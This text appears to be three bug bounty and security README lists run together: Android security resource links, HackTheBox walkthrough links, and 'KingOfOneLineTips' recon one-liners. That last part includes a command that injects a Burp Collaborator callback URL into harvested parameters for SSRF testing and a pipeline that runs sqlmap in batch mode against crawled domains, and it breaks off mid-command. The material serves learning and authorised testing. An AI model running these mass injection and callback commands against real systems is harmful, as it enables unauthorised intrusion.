Synopsis - [Getting Started](#getting-started) - [HackerOne Reports](#h1-reports) - [BugBounty Writeups](#bugbounty-writeups) - [CTF Challenge Writeups](#ctf-writeups) - [Healthy Digests](#healthy-digests) - [Vulnerable Applications](#vulnapk) <a name="getting-started"></a> ### [↑](#synopsis) Getting Started - [Diving in Android Security](https://iamsarvagyaa.github.io/android-security-part-one/) - [Android Security - Understanding Android Basics](https://payatu.com/blog/amit/Need-to-know-Android) - [Android Pentesting Lab Setup](https://payatu.com/blog/amit/android_pentesting_lab) - [Getting started with Frida on Android Apps](https://payatu.com/blog/amit/Getting%20_started_with_Frida) - [Android Penetration Testing: Apk Reverse Engineering](https://www.hackingarticles.in/android-penetration-testing-apk-reverse-engineering/) - [Android Penetration Testing: APK Reversing (Part 2)](https://www.hackingarticles.in/android-penetration-testing-apk-reversing-part-2/) <a name="h1-reports"></a> ### [↑](#synopsis) HackerOne Reports - Account hijacking possible through ADB backup feature :: [#12617](https://hackerone.com/reports/12617) - Twitter android app Fragment Injection :: [#43988](https://hackerone.com/reports/43988) - Bypass Setup by External Activity Invoke :: [#55064](https://hackerone.com/reports/55064) - Webview Vulnerablity in OwnCloud apk :: [#87835](https://hackerone.com/reports/87835) - No permission set on Activities [Android App] :: [#145402](https://hackerone.com/reports/145402) - Flaw in login with twitter to steal Oauth tokens :: [#44492](https://hackerone.com/reports/44492) - Authentication Failed Mobile version :: [#55530](https://hackerone.com/reports/55530) - Multiple Stored XSS on Sanbox.veris.in through Veris Frontdesk Android App :: [#121275](https://hackerone.com/reports/121275) - Coinbase Android Security Vulnerabilities :: [#5786](https://hackerone.com/reports/5786) - Insecure Data Storage in Vine Android App :: [#44727](https://hackerone.com/reports/44727) - Sending payments via QR code does not require confirmation :: [#126784](https://hackerone.com/reports/126784) - Bypass pin(4 digit passcode on your android app) :: [#50884](https://hackerone.com/reports/50884) - REG: Content provider information leakage :: [#146179](https://hackerone.com/reports/146179) - Shopify android client all API request's response leakage, including access_token, cookie, response header, response body content :: [#56002](https://hackerone.com/reports/56002) - HTML/XSS rendered in Android App of Crashlytics through fabric.io :: [#41856](https://hackerone.com/reports/41856) - ByPassing the email Validation Email on Sign up process in mobile apps :: [#57764](https://hackerone.com/reports/57764) - Insecure Local Data Storage : Application stores data using a binary sqlite database :: [#57918](https://hackerone.com/reports/57918) - Vulnerable to JavaScript injection. (WXS) (Javascript injection)! :: [#54631](https://hackerone.com/reports/54631) - Coinbase Android Application - Bitcoin Wallet Leaks OAuth Response Code :: [#5314](https://hackerone.com/reports/5314) - Reflected XSS in Zomato Mobile - category parameter :: [#230119](https://hackerone.com/reports/230119) - MEW Wallet PIN Bypass [Android] :: [#1242212](https://hackerone.com/reports/1242212) - Firebase Database Takeover in Zego Sense Android app :: [#1065134](https://hackerone.com/reports/1065134) - Bypass of biometrics security functionality is possible in Android application (com.shopify.mobile) :: [#637194](https://hackerone.com/reports/637194) - Persistant Arbitrary code execution in mattermost android :: [#1115864](https://hackerone.com/reports/1115864) - porcupiney.hairs : Java/Android - Insecure Loading of a Dex File :: [#1161956](https://hackerone.com/reports/1161956) - Unsafe deserialization leads to token leakage in PayPal & PayPal for Business [Android] :: [#453791](https://hackerone.com/reports/453791) - Cookie steal through content Uri :: [#876192](https://hackerone.com/reports/876192) - [Information Disclosure] Amazon S3 Bucket of Shopify Ping (iOS) have public access of other users image :: [#1021906](https://hackerone.com/reports/1021906) - Bypassing Passcode/Device credentials :: [#747726](https://hackerone.com/reports/747726) - [Java] CWE-755: Query to detect Local Android DoS caused by NFE :: [#1061211](https://hackerone.com/reports/1061211) - Path traversal in ZIP extract routine on LINE Android :: [#859469](https://hackerone.com/reports/859469) - Android: Explanation of Access to app protected components vulnerability :: [#951691](https://hackerone.com/reports/951691) - Java: CWE-749 Unsafe resource loading in Android WebView leaking to injection attacks :: [#1011956](https://hackerone.com/reports/1011956) - Android WebViews in Twitter app are vulnerable to UXSS due to configuration and CVE-2020-6506 :: [#906433](https://hackerone.com/reports/906433) - Denial of Service | twitter.com & mobile.twitter.com :: [#903740](https://hackerone.com/reports/903740) - Insecure Storage and Overly Permissive API Keys in Android App :: [#753868](https://hackerone.com/reports/753868) - [Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure :: [#401793](https://hackerone.com/reports/401793) - No session logout after changing password & alsoandroid sessions not shown in sessions list so they can be deleted :: [#194329](https://hackerone.com/reports/194329) - CVE-2019-5765: 1-click HackerOne account takeover on all Android devices :: [#563870](https://hackerone.com/reports/563870) - API Keys Hardcoded in Github repository :: [#766346](https://hackerone.com/reports/766346) - Changing email address on Twitter for Android unsets "Protect your Tweets" :: [#472013](https://hackerone.com/reports/472013) - Golden techniques to bypass host validations in Android apps :: [#431002](https://hackerone.com/reports/431002) <a name="bugbounty-writeups"></a> ### [↑](#synopsis) BugBounty Writeups - [Brave — Stealing your cookies remotely](https://infosecwriteups.com/brave-stealing-your-cookies-remotely-1e09d1184675) - [Hack crypto secrets from heap memory to exploit Android application](https://infosecwriteups.com/hack-crypto-secrets-from-heap-memory-to-exploit-android-application-728097fcda3) - [Guest Blog Post: Firefox for Android LAN-Based Intent Triggering](https://blog.mozilla.org/attack-and-defense/2020/11/10/firefox-for-android-lan-based-intent-triggering/) - [Arbitrary File Write On Client By ADB Pull](https://daeken.svbtle.com/arbitrary-file-write-by-adb-pull) - [Vulnerability in Facebook Android app nets $10k bug bounty](https://portswigger.net/daily-swig/vulnerability-in-facebook-android-app-nets-10k-bug-bounty) - [Universal XSS in Android WebView (CVE-2020-6506)](https://alesandroortiz.com/articles/uxss-android-webview-cve-2020-6506/) - [How two dead accounts allowed REMOTE CRASH of any Instagram android user](https://www.valbrux.it/blog/2019/09/13/how-two-dead-users-allowed-remote-crash-of-any-instagram-android-user/) - [Don’t stop at one bug $$$$](https://infosecwriteups.com/dont-stop-at-one-bug-d3c56806b5) - [Arbitrary code execution on Facebook for Android through download feature](https://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f) - [Ability To Backdoor Facebook For Android](https://ash-king.co.uk/blog/backdoor-android-facebook) - [From Android Static Analysis to RCE on Prod](https://blog.dixitaditya.com/from-android-app-to-rce/) - [Smear phishing: a new Android vulnerability](https://jameshfisher.com/2020/08/06/smear-phishing-how-to-scam-an-android-user/) - [Hunting Android Application Bugs Using Android Studio](https://co0nan.gitbook.io/writeups/#reporting) - [Android pin bypass with rate limiting](https://balook.medium.com/android-pin-bypass-with-rate-limiting-a3f5dd811715) - [Global grant uri in Android 8.0-9.0](https://www.vulnano.com/2020/07/global-grant-uri-in-android-80-90-2018.html) - [From N/A to Resolved For BackBlaze Android App[Hackerone Platform] Bucket Takeove](https://medium.com/@pig.wig45/from-n-a-to-resolved-for-backblaze-android-app-hackerone-platform-bucket-takeover-f817692a590) - [Xiaomi Android : Harvest private/system files (Updated POC)](https://servicenger.com/blog/mobile/xiaomiharvestprivatefiles/) - [Indirect UXSS issue on a private Android target app](https://medium.com/@kunal94/indirect-uxss-issues-on-a-private-integrated-browser-219f6b809b6c) - [Full Account Takeover (Android Application)](https://vbharad.medium.com/full-account-takeover-android-application-78fa922f78c5) - [NFC Beaming Bypasses Security Controls in Android [CVE-2019-2114]](https://wwws.nightwatchcybersecurity.com/2019/10/24/nfc-beaming-bypasses-security-controls-in-android-cve-2019-2114/) - [Address bar spoofing in Firefox Lite for Android and the idiocy that followed](https://blog.0x48piraj.com/address-bar-spoofing-in-firefox-lite-for-android-and-the-idiocy-that-followed/) - [One Bug To Rule Them All: Modern Android Password Managers and FLAG_SECURE Misuse](https://blog.doyensec.com/2019/08/22/modern-password-managers-flag-secure.html) <a name="ctf-writeups"></a> ### [↑](#synopsis) CTF Challenge Writeups - [Good old friend - THCon 2021](https://cryptax.github.io/2021/06/14/thcon-goodold.html) - by cryptax - [draw.per - THCon 2021](https://cryptax.github.io/2021/06/14/thcon.html) - by cryptax - [Water Color - S4CTF 2021](https://github.com/1GN1tE/CTF_Writeups/tree/main/Writeups/S4CTF_2021/Water%20Color) - by 1gn1te - [Memedrive - RITSEC CTF 2021](https://klefz.se/2021/04/12/ritsec-ctf-2021-write-up/#memedrive) - by klefz - [ezpz - darkCON CTF](https://github.com/karma9874/CTF-Writeups/blob/master/DarkCON_CTF/ezpz/ezpz.md) - by karma9874 - [Fire in the Androiddd - darkCON CTF](https://github.com/karma9874/CTF-Writeups/blob/master/DarkCON_CTF/Fire%20in%20the%20Androiddd/Fire_in_the_Androiddd.md) - by karma9874 - [MobaDEX - HackTM CTF Finals 2020](https://pwndiary.com/hacktm-finals-2020-mobadex) - by umutoztunc - [hehe - PhantomCTF 3.0](https://github.com/FrigidSec/CTFWriteups/tree/master/PhantomCTF/Android/hehe) - by FrigidSec - [Vault 101 - Hackers Playground 2020](https://saketupadhyay.codes/2020/08/18/sstf-vault-wtireup.html) - by saketupadhyay - [android - Google Capture The Flag 2020](https://github.com/luker983/google-ctf-2020/tree/master/reversing/android) - by luker983 - [android - Google Capture The Flag 2020](https://sectt.github.io/writeups/GoogleCTF20/android/README) - by s3np41k1r1t0 - [android - Google Capture The Flag 2020](https://github.com/TFNS/writeups/blob/master/2020-08-24-GoogleCTF/android/README.md) - by TFNS - [android - Google Capture The Flag 2020](https://github.com/NicolaiSoeborg/ctf-writeups/tree/master/2020/Google%20CTF%202020/Android) - by NicolaiSoeborg - [prehistoric mario - ALLES! CTF 2020](https://github.com/ARESxCyber/Writeups/tree/master/ALLES!%20CTF%202020/prehistoric%20mario) - by ARESxCyber - [prehistoric mario - ALLES! CTF 2020](https://ashiq.co.za/posts/ALLES-CTF-Prehistoric-Mario-Writeup/) - by ashiq - [Tamarin - TokyoWesterns CTF 6th 2020](https://github.com/pwning/public-writeup/tree/master/twctf2020/tamarin) - by pwning - [Tamarin - TokyoWesterns CTF 6th 2020](https://hxp.io/blog/78/TokyoWesterns-CTF-6th-2020-selected-writeups/#Tamarin) - by hxp - [Tamarin - TokyoWesterns CTF 6th 2020](https://github.com/Hong5489/TrendMicroCTF2020/tree/main/mobile2) - by Hong5489 - [Chasing a lock - RaziCTF 2020](https://github.com/ternary-bits/CTF-Challenges/blob/master/android/razictf2020-chasing-a-lock/WRITEUP.md) - by ternary-bits - [Chasing a lock - RaziCTF 2020](https://ctftime.org/writeup/24550) - by Londek - [Chasing a lock - RaziCTF 2020](https://github.com/t3rmin0x/CTF-Writeups/tree/master/Razi%20CTF/Android/Chasing%20A%20Lock) - by t3rmin0x - [Chasing a lock - RaziCTF 2020](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/RaziCTF/android_lock/lock_writeup.html) - by blackbear666 - [CTF Coin - RaziCTF 2020](https://ctftime.org/writeup/24560) - by cthulhu - [CTF Coin - RaziCTF 2020](https://github.com/t3rmin0x/CTF-Writeups/tree/master/Razi%20CTF/Android/CTF%20Coin) - by t3rmin0x <a name="healthy-digests"></a> ### [↑](#synopsis) Healthy Digests - [Let's Reverse Engineer an Android App!](https://yasoob.me/posts/reverse-engineering-android-apps-apktool/) - Well written blogpost by [M.Yasoob Ullah Khalid](https://github.com/yasoob), which explains how APK reverse engineering generally works. - [Reverse Engineering Nike Run Club Android App Using Frida](https://yasoob.me/posts/reverse-engineering-nike-run-club-using-frida-android/) - In this blogpost [M.Yasoob Ullah Khalid](https://github.com/yasoob), tell about How we can reverse an android application using Frida. - [Android Application Security Series](https://manifestsecurity.com/android-application-security/) - Well structured, Android Application Security Series. Start learning from this healthy digest. In this series Aditya covered OWASP MOBILE TOP 10 vulnerabilities in detailed form. - [Android App Reverse Engineering 101](https://www.ragingrock.com/AndroidAppRE/) - Wanna learn reverse engineering of Android Applications? If yes, then dive into this course. I learned a lot from this, huge thanks to maddiestone. - [MOBISEC](https://mobisec.reyammer.io/) - Hands-On classes, slides related to mobile security. I recommend everyone to watch all the recordings of class sessions. Kudos [Yanick Fratantonio](https://twitter.com/reyammer) sir, thank you for all the sessions. - [Oversecured Blog](https://blog.oversecured.com/) - One of the best blog for android security, I love to read all the posts twice in a month. :heart: <a name="vulnapk"></a> ### [↑](#synopsis) Vulnerable Applications - [hpAndro](http://ctf.hpandro.raviramesh.info/) - One of the nice vulnerable android application to practice. Plenty of challenges are there, and most of the challenges are beginner friendly. I recommend everyone to checkout this vulnerable application. This challenge is maintained by [hpandro1337](https://twitter.com/hpandro1337), you can also checkout his YouTube Channel : [Android AppSec](https://www.youtube.com/AndroidAppSec). - [InjuredAndroid](https://github.com/B3nac/InjuredAndroid) - A vulnerable android application ctf examples based on bug bounty findings, exploitation concepts, and pure creativity. Created and maintained by [B3nac](https://twitter.com/B3nac). - [Oversecured Vulnerable Android App](https://github.com/oversecured/ovaa) - an Android app that aggregates all the platform's known and popular security vulnerabilities. Plenty of vulnerabilities are there to practice our Security skills. Vulnerable Lab maintained by [Bagipro](https://twitter.com/_bagipro). - [MOBISEC Challenges](https://mobisec.reyammer.io/challs) - Plenty of challenges are there related to Android App development, Reversing of Android Application and Exploitations. Challenges created by sir [Yanick Fratantonio](https://twitter.com/reyammer). This is in my TODO list... <a name="contact-me"></a> ### Wanna Contact with me? - LinkedIn : [iamsarvagyaa](https://www.linkedin.com/in/iamsarvagyaa/) - Twitter : [iamsarvagyaa](https://twitter.com/iamsarvagyaa) - Instagram : [iamsarvagyaa](https://instagram.com/instagram) - Keybase : [iamsarvagyaa](https://keybase.io/iamsarvagyaa) - E-mail : [[email protected]](mailto:[email protected]) > :mega: If you enjoyed this project and wanna appreciate me, Buy me a cup of coffee. You can also help via sharing this project among the community to help it grow. You may support me on [Buy me a coffee](https://www.buymeacoffee.com/iamsarvagyaa), monetary contributions are always welcome. If you wish to sponsor this project, ping me - iamsarvagyaa[at]gmail.com
# HackTheBox CTF Writeups This cheasheet is aimed at the CTF Players and Beginners to help them sort Hack The Box Labs. This list contains all the Hack The Box writeups available on hackingarticles. We have performed and compiled this list on our experience. Please share this with your connections and direct queries and feedback to [Pavandeep Singh](https://www.linkedin.com/in/pavan2318). [1.1]: http://i.imgur.com/tXSoThF.png [1]: http://www.twitter.com/rajchandel # Follow us on [![alt text][1.1]][1] 1. [Access](https://www.hackingarticles.in/hack-the-box-access-walkthrough/) 2. [Active](https://www.hackingarticles.in/hack-the-box-active-walkthrough/) 3. [Apocalyst](https://www.hackingarticles.in/hack-the-box-challenge-apocalyst-walkthrough/) 4. [Aragog](https://www.hackingarticles.in/hack-the-box-aragog-walkthrough/) 5. [Arctic](https://www.hackingarticles.in/hack-the-box-challenge-arctic-walkthrough/) 6. [Ariekei](https://www.hackingarticles.in/hack-the-box-challenge-ariekei-walkthrough/) 7. [Bank](https://www.hackingarticles.in/hack-the-box-challenge-bank-walkthrough/) 8. [Bart](https://www.hackingarticles.in/hack-the-box-bart-walkthrough/) 9. [Bashed](https://www.hackingarticles.in/hack-the-box-challenge-bashed-walkthrough/) 10. [Beep](https://www.hackingarticles.in/hack-the-box-challenge-beep-walkthrough/) 11. [Blocky](https://www.hackingarticles.in/hack-the-box-challenge-blocky-walkthrough/) 12. [Blue](https://www.hackingarticles.in/hack-the-box-challenge-blue-walkthrough/) 13. [Bounty](https://www.hackingarticles.in/hack-the-box-bounty-walkthrough/) 14. [Brainfuck](https://www.hackingarticles.in/hack-the-box-challenge-brainfuck-walkthrough/) 15. [Calamity](https://www.hackingarticles.in/hack-the-box-challenge-calamity-walkthrough/) 16. [Canape](https://www.hackingarticles.in/hack-the-box-challenge-canape-walkthrough/) 17. [Carrier](https://www.hackingarticles.in/hack-the-box-carrier-walkthrough/) 18. [Celestial](https://www.hackingarticles.in/hack-the-box-celestial-walkthrough/) 19. [Charon](https://www.hackingarticles.in/hack-the-box-challenge-charon-walkthrough/) 20. [Chatterbox](https://www.hackingarticles.in/hack-the-box-challenge-chatterbox-walkthrough/) 21. [Crimestoppers](https://www.hackingarticles.in/hack-the-box-challenge-crimestoppers-walkthrough/) 22. [Cronos](https://www.hackingarticles.in/hack-the-box-challenge-cronos-walkthrough/) 23. [Curling](https://www.hackingarticles.in/hack-the-box-curling-walkthrough/) 24. [Dab](https://www.hackingarticles.in/hack-the-box-dab-walkthrough/) 25. [Devel](https://www.hackingarticles.in/hack-the-box-challenge-devel-walkthrough/) 26. [DevOops](https://www.hackingarticles.in/hack-the-box-devoops-walkthrough/) 27. [Dropzone](https://www.hackingarticles.in/hack-the-box-dropzone-walkthrough/) 28. [Enterprises](https://www.hackingarticles.in/hack-the-box-challenge-enterprises-walkthrough/) 29. [Europa](https://www.hackingarticles.in/hack-the-box-challenge-europa-walkthrough/) 30. [Falafel](https://www.hackingarticles.in/hack-the-box-challenge-falafel-walkthrough/) 31. [Fighter](https://www.hackingarticles.in/hack-the-box-fighter-walkthrough/) 32. [Fluxcapacitor](https://www.hackingarticles.in/hack-the-box-challenge-fluxcapacitor-walkthrough/) 33. [FriendZone](https://www.hackingarticles.in/hack-the-box-friendzone-walkthrough/) 34. [Frolic](https://www.hackingarticles.in/hack-the-box-frolic-walkthrough/) 35. [Fulcurm](https://www.hackingarticles.in/hack-the-box-fulcrum-walkthrough/) 36. [Giddy](https://www.hackingarticles.in/hack-the-box-giddy-walkthrough/) 37. [Grandpa](https://www.hackingarticles.in/hack-the-box-challenge-grandpa-walkthrough/) 38. [Granny](https://www.hackingarticles.in/hack-the-box-challenge-granny-walkthrough/) 39. [Haircut](https://www.hackingarticles.in/hack-the-box-challenge-haircut-walkthrough/) 40. [Hawk](https://www.hackingarticles.in/hack-the-box-hawk-walkthrough/) 41. [Help](https://www.hackingarticles.in/hack-the-box-help-walkthrough/) 42. [Holiday](https://www.hackingarticles.in/hack-the-box-holiday-walkthrough/) 43. [Inception](https://www.hackingarticles.in/hack-the-box-challenge-inception-walkthrough/) 44. [Irked](https://www.hackingarticles.in/hack-the-box-irked-walkthrough/) 45. [Jail](https://www.hackingarticles.in/hack-the-box-challenge-jail-walkthrough/) 46. [Jeeves](https://www.hackingarticles.in/hack-the-box-challenge-jeeves-walkthrough/) 47. [Jerry](https://www.hackingarticles.in/hack-the-box-jerry-walkthrough/) 48. [Joker](https://www.hackingarticles.in/hack-the-box-challenge-joker-walkthrough/) 49. [Kotarak](https://www.hackingarticles.in/hack-the-box-challenge-kotarak-walkthrough/) 50. [Lame](https://www.hackingarticles.in/hack-the-box-challenge-lame-walkthrough/) 51. [Lazy](https://www.hackingarticles.in/hack-the-box-challenge-lazy-walkthrough/) 52. [Legacy](https://www.hackingarticles.in/hack-the-box-challenge-legacy-walkthrough/) 53. [Lightweight](https://www.hackingarticles.in/lightweight-hack-the-box-walkthrough/) 54. [Mantis](https://www.hackingarticles.in/hack-the-box-challenge-mantis-walkthrough/) 55. [Minion](https://www.hackingarticles.in/hack-the-box-minion-walkthrough/) 56. [Mirai](https://www.hackingarticles.in/hack-the-box-challenge-mirai-walkthrough/) 57. [Mischief](https://www.hackingarticles.in/hack-the-box-mischief-walkthrough/) 58. [Netmon](https://www.hackingarticles.in/hack-the-box-netmon-walkthrough/) 59. [Nibble](https://www.hackingarticles.in/hack-the-box-challenge-nibble-walkthrough/) 60. [Nightmare](https://www.hackingarticles.in/hack-nightmare-vm-ctf-challenge/) 61. [Nineveh](https://www.hackingarticles.in/hack-the-box-nineveh-walkthrough/) 62. [Node](https://www.hackingarticles.in/hack-the-box-challenge-node-walkthrough/) 63. [October](https://www.hackingarticles.in/hack-the-box-october-walkthrough/) 64. [Olympus](https://www.hackingarticles.in/hack-the-box-olympus-walkthrough/) 65. [Optimum](https://www.hackingarticles.in/hack-the-box-challenge-optimum-walkthrough/) 66. [Poison](https://www.hackingarticles.in/hack-the-box-poison-walkthrough/) 67. [Popcorn](https://www.hackingarticles.in/hack-the-box-challenge-popcorn-walkthrough/) 68. [SecNotes](https://www.hackingarticles.in/hack-the-box-secnotes-walkthrough/) 69. [Sense](https://www.hackingarticles.in/hack-the-box-challenge-sense-walkthrough/) 70. [Shocker](https://www.hackingarticles.in/hack-the-box-challenge-shocker-walkthrough/) 71. [Shrek](https://www.hackingarticles.in/hack-the-box-challenge-shrek-walkthrough/) 72. [Silo](https://www.hackingarticles.in/hack-the-box-silo-walkthrough/) 73. [Sneaky](https://www.hackingarticles.in/hack-the-box-challenge-sneaky-walkthrough/) 74. [Solid State](https://www.hackingarticles.in/hack-the-box-challenge-solid-state-walkthrough/) 75. [Stratosphere](https://www.hackingarticles.in/hack-the-box-stratospherewalkthrough/) 76. [Sunday](https://www.hackingarticles.in/hack-the-box-sunday-walkthrough/) 77. [Tally](https://www.hackingarticles.in/hack-the-box-challenge-tally-walkthrough/) 78. [TartarSauce](https://www.hackingarticles.in/hack-the-box-tartarsauce-walkthrough/) 79. [Teacher](https://www.hackingarticles.in/hack-the-box-teacher-walkthrough/) 80. [Tenten](https://www.hackingarticles.in/hack-the-box-challenge-tenten-walkthrough/) 81. [Valentine](https://www.hackingarticles.in/hack-the-box-valentine-walkthrough/) 82. [Vault](https://www.hackingarticles.in/hack-the-box-vault-walkthrough/) 83. [Waldo](https://www.hackingarticles.in/hack-the-box-waldo-walkthrough/) 84. [Ypuffy](https://www.hackingarticles.in/hack-the-box-ypuffy-walkthrough/) 85. [Zipper](https://www.hackingarticles.in/hack-the-box-zipper-walkthrough/)
## 👑 What is KingOfOneLineTips Project ? 👑 Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. Want to earn 100 dollars using my code on ocean-digital? https://m.do.co/c/703ff752fd6f ## Join Us [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah) ## Special thanks - [@Stokfredrik](https://twitter.com/stokfredrik) - [@Jhaddix](https://twitter.com/Jhaddix) - [@pdiscoveryio](https://twitter.com/pdiscoveryio) - [@TomNomNom](https://twitter.com/TomNomNom) - [@jeff_foley](https://twitter.com/@jeff_foley) - [@NahamSec](https://twitter.com/NahamSec) - [@j3ssiejjj](https://twitter.com/j3ssiejjj) - [@zseano](https://twitter.com/zseano) - [@pry0cc](https://twitter.com/pry0cc) ## Scripts that need to be installed To run the project, you will need to install the following programs: - [Anew](https://github.com/tomnomnom/anew) - [Qsreplace](https://github.com/tomnomnom/qsreplace) - [Subfinder](https://github.com/projectdiscovery/subfinder) - [Gospider](https://github.com/jaeles-project/gospider) - [Github-Search](https://github.com/gwen001/github-search) - [Amass](https://github.com/OWASP/Amass) - [Hakrawler](https://github.com/hakluke/hakrawler) - [Gargs](https://github.com/brentp/gargs) - [Chaos](https://github.com/projectdiscovery/chaos-client) - [Httpx](https://github.com/projectdiscovery/httpx) - [Jaeles](https://github.com/jaeles-project/jaeles) - [Findomain](https://github.com/Edu4rdSHL/findomain) - [Gf](https://github.com/tomnomnom/gf) - [Unew](https://github.com/dwisiswant0/unew) - [Rush](https://github.com/shenwei356/rush) - [Jsubfinder](https://github.com/hiddengearz/jsubfinder) - [Shuffledns](https://github.com/projectdiscovery/shuffledns) - [haktldextract](https://github.com/hakluke/haktldextract) - [Gau](https://github.com/lc/gau) - [Axiom](https://github.com/pry0cc/axiom) - [Html-tools](https://github.com/tomnomnom/hacks/tree/master/html-tool) - [Dalfox](https://github.com/hahwul/dalfox) ### OneLiners ### Extract urls to source code comments - [Explaining command](https://bit.ly/2MKkOxm) ```bash cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' ``` ### Axiom recon "complete" - [Explaining command](https://bit.ly/2NIavul) ```bash findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u ``` ### Domain subdomain extraction - [Explaining command](https://bit.ly/3c2t6eG) ```bash cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain' ``` ### Search .js using - [Explaining command](https://bit.ly/362LyQF) ```bash assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew ``` ### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below. - [Explaining command](https://bit.ly/3sD0pLv) ```bash cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS' ``` ### My recon automation simple. OFJAAAH.sh - [Explaining command](https://bit.ly/3nWHM22) ```bash amass enum -d $1 -o amass1 ; chaos -d $1 -o chaos1 -silent ; assetfinder $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 ; findomain -t $1 -q -u findomain1 ;python3 /root/PENTESTER/github-search/github-subdomains.py -t YOURTOKEN -d $1 >> github ; cat assetfinder1 subfinder1 chaos1 amass1 findomain1 subfinder1 github >> hosts ; subfinder -dL hosts -o full -timeout 10 -silent ; httpx -l hosts -silent -threads 9000 -timeout 30 | anew domains ; rm -rf amass1 chaos1 assetfinder1 subfinder1 findomain1 github ``` ### Download all domains to bounty chaos - [Explaining command](https://bit.ly/38wPQ4o) ```bash wget https://raw.githubusercontent.com/KingOfBugbounty/KingOfBugBountyTips/master/downlink ; xargs -a downlink -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH' ``` ### Recon to search SSRF Test - [Explaining command](https://bit.ly/3shFFJ5) ```bash findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net ``` ### ShuffleDNS to domains in file scan nuclei. - [Explaining command](https://bit.ly/2L3YVsc) ```bash xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1 ``` ### Search Asn Amass - [Explaining command](https://bit.ly/2EMooDB) Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me) ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### SQLINJECTION Mass domain file - [Explaining command](https://bit.ly/354lYuf) ```bash httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' ``` ### Using chaos search js - [Explaining command](https://bit.ly/32vfRg7) Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command](https://bit.ly/2QtG9do) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command](https://bit.ly/2D4vW3W) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command](https://bit.ly/32pPRDa) We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 